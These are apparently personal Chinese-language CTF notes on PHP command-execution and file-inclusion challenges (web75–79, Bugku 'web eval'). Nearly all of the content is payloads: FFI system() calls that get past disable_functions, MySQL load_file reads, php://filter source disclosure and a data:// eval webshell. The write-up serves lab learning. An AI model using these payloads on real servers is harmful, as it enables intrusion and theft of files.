2021/7/10
命令执行
web75-76
读取目录 脚本绕过限制
1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
flag在flag36.txt里
利用mysql查询
1
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag文件名称")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
web77
沿用上题payload都显示“could not find driver”
读取目录
1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
两个疑似flag文件 flag36x.txt和readflag
1
2
3c=$ffi=FFI::cdef("int system(const char*command);");
$a='/readflag>/var/www/html/1.txt';
$ffi->system($a);exit();然后访问url/1.txt
或者
1
2c=FFI::cdef("int system(const char *command);")->system('ls / >> 1.txt');
c=FFI::cdef("int system(const char *command);")->system('/readflag >> 1.txt');PHP7.4的新特性—FFI,它允许开发者在PHP脚本中调用C函数并使用C数据类型。官方称之为
develop “system code” more productively.
。有趣的是FFI无视 open_basedir 和 disable_functions 的限制,如果开发者没有很好控制权限,带来的结果会是很糟糕的
bugku
web eval
闭合掉hello
1
url/?hello=1);show_source(%27flag.php%27);var_dump(2
php伪协议
1
url/?hello=1);show_source(%27flag.php%27);var_dump(1
或者 post data
1
f=php://filter/convert.base64-encode/resource=flag.php
web 变量1 XXXX
https://blog.csdn.net/qq_38603541/article/details/85106740
- 没看懂 放着先
文件包含
web78
无过滤 直接用伪协议
php伪协议
1
url//?file=php://filter/convert.base64-encode/resource=flag.php //base64转码
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
web79
php字符不能用 绕过或者用data伪协议
data伪协议(hackbar有)
1
/?file=data://text/plain,<?=eval($_POST[1]);?>
并且post data:
1
1=system("tac flag.php")
(其实前面应该还有一步ls查看目录)
或者省去post 用base64转码后直接data伪协议
1
url/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs=